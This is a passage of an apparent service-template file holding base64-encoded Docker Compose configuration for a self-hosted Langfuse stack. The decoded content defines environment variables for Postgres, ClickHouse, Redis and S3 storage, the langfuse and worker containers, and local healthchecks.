Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTU